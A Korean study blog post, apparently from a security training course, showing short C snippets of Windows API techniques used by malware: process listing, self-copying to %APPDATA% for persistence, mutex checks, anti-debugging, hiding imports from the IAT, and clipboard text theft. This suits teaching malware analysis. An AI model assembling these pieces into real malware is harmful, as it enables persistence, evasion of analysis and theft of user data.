yon11b

[SK 쉴더스 루키즈] windows API를 활용한 악성 코드들 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] windows API를 활용한 악성 코드들

yon11b 2026. 5. 28. 02:17
반응형

실행 중인 프로세스 리스트 정찰

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

int main() {
    // 실행 중인 프로세스 열거 (Toolhelp32 스냅샷)
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(pe) };

    if (Process32First(snap, &pe)) {
        do {
            printf("%5u  %s\n", pe.th32ProcessID, pe.szExeFile);
        } while (Process32Next(snap, &pe));
    }
    CloseHandle(snap);
    return 0;
}

연결 리스트로 연결되어 다음 프로세스를 부른다.

실행 중인 프로세스들이 다 출력된다.

 

 

self copy

#include <windows.h>

int main() {
    wchar_t self[MAX_PATH];
    wchar_t dst[MAX_PATH];

    GetModuleFileNameW(NULL, self, MAX_PATH);
    ExpandEnvironmentStringsW(L"%APPDATA%\\malware_copy.exe", dst, MAX_PATH);

    CopyFileW(self, dst, FALSE);
    return 0;
}

 

현재 실행 중인 자기 자신(.exe)을 %APPDATA% 폴더에 복사하는 코드

 

1. 현재 실행 파일 경로 얻음
↓
2. %APPDATA%\malware_copy.exe 경로 생성
↓
3. 자기 자신을 그 위치에 복사

 

함수 역할

- GetModuleFileNameW: 현재 exe 파일 경로 얻음

- ExpandEnvironmentStringsW: %APPDATA% 환경변수 실제 경로로 변환

- CopyFileW: 자기 자신을 저 위치로 복사

 

결과

원본: C:\Desktop\test.exe
복사본: C:\Users\user\AppData\Roaming\malware_copy.exe

 

%APPDATA% 쓰는 이유?

 

  • 일반 사용자 권한으로도 쓰기 가능
  • 숨겨진 폴더 느낌이라 사용자가 잘 안 봄
  • 재부팅 후에도 파일 유지됨

 

1. 사용자가 이메일 첨부파일 실행
↓
2. 악성코드가 임시폴더/다운로드폴더에서 실행됨
↓
3. 자기 자신을 %APPDATA% 같은 숨은 위치로 복사
↓
4. 레지스트리 Run 등록
↓
5. 재부팅해도 자동 실행

 

복사하는 이유

  • 다운로드 폴더는 사용자가 삭제할 수 있음
  • USB에서 실행됐을 수도 있음
  • Temp 폴더는 정리될 수 있음

그래서 악성코드가 안전한 위치에 숨겨두는 거다.

 

저 코드를 실행시키면 윈도우 백신이 탐지한다.

 

이 파일이 생겼다가 시간이 지나면 사라진다. (windows 백신에 의해서)

Mutex 중복 실행 방지

카카오톡 최초 실행 후 다시 실행시키면 두 개의 창이 뜸? ㄴㄴ

기존의 창으로 포커스 됨.→ 동일한 mutex인지를 검사해서 이미 실행 중인 프로세스인지 확인한다.

#include <windows.h>

int main() {
    HANDLE h = CreateMutexW(NULL, TRUE, L"Global\\MalwareEduMutex");
    if (GetLastError() == ERROR_ALREADY_EXISTS) {
        MessageBoxW(NULL, L"이미 실행 중입니다", L"중복", MB_OK);
        return 1;
    }

    MessageBoxW(NULL, L"첫 실행 - 단독 인스턴스", L"단독", MB_OK);
    CloseHandle(h);
    return 0;
}

 

mutex

중복 실행 방지를 위해 쓰는 변수이다.

 

mutex vs semaphore

mutex

  • lock/unlock
  • 오직 1개만 가능
  • 사용 목적
    • 공유 변수 보호
    • critical section 보호

semaphore

  • wait(P)/signal(V)
  • 여러 개 허용 가능
  • 사용 목적
    • DB 커넥션 10개 제한
    • 자원 개수 관리

 

처음실행

1번 실행인 상태에서 또 다시 새로 하나 실행.

 

안티 디버깅

현재 프로세스가 디버깅되고 있는지 검사하는 코드.

 

함수 역할

#include <windows.h>
#include <stdio.h>

int main() {
    // 디버거 부착 여부 확인 → 부착 시 정상 동작 회피
    if (IsDebuggerPresent()) {
        printf("디버거 탐지됨 - 종료\n");
        return 1;
    }

    BOOL remote = FALSE;
    CheckRemoteDebuggerPresent(GetCurrentProcess(), &remote);
    printf("원격 디버거: %s\n", remote ? "있음" : "없음");
    printf("정상 실행 경로\n");
    return 0;
}

 

1. IsDebuggerPresent: 현재 이 프로세스가 디버깅 되는 상태인지 확인 가능

2. CheckRemoteDebuggerPresent: 특정 프로세스가 디버깅 중인지 확인

3. GetCurrentProcess: 현재 프로세스의 pseudo handle 반환

 

IAT 우회

IAT에 MessageBoxW를 직접 안 남기고, 실행 중에 API 주소를 찾아 호출하는 방식

(IAT에 기록이 되면 다 드러나서 적발되기 쉬움)

우회방법: LoadLibrary + GetProcAdddress

 

MessageBoxW(...);

 

이렇게 직접 호출하면 PE Import Table / IAT에 MessageBoxW가 보인다.

 

근데 지금 코드는:

LoadLibraryW(...)
GetProcAddress(...)
 

만 IAT에 보이고, MessageBoxW는 문자열로만 존재한다.

그래서 분석자가 Import Table만 봤을 때 MessageBoxW를 쓰는 걸 바로 알기 어렵다.

 

함수

1. LoadLibraryW("user32.dll")
   → user32.dll을 메모리에 로드

2. GetProcAddress(u, "MessageBoxW")
   → user32.dll 안에서 MessageBoxW 함수 주소 찾기

3. fn(...)
   → 찾은 주소를 함수처럼 호출

4. FreeLibrary(u)
   → 로드한 DLL 해제

더보기
더보기
더보기
더보기
#include <windows.h>

typedef int (WINAPI *pMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);

int main() {
    HMODULE u = LoadLibraryW(L"user32.dll");
    pMessageBoxW fn = (pMessageBoxW)GetProcAddress(u, "MessageBoxW");

    fn(NULL, L"동적으로 호출됨", L"DynAPI", MB_OK);

    FreeLibrary(u);
    return 0;
}

 

계산기 실행 코드

더보기
더보기
더보기
더보기
#include <windows.h>

int main() {
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };

    CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL,
                   NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
}

 

keylogger: 키보드 입력 탈취

 

클립보드 텍스트 탈취

#include <windows.h>
#include <stdio.h>

int main() {
    // 클립보드 텍스트 탈취 (정보 스틸러 흔한 기법)
    if (!OpenClipboard(NULL)) return 1;

    HANDLE h = GetClipboardData(CF_TEXT);
    if (h) {
        char* text = (char*)GlobalLock(h);
        printf("클립보드: %s\n", text);
        GlobalUnlock(h);
    }
    CloseClipboard();
    return 0;
}

 

 

 

 

 

 

728x90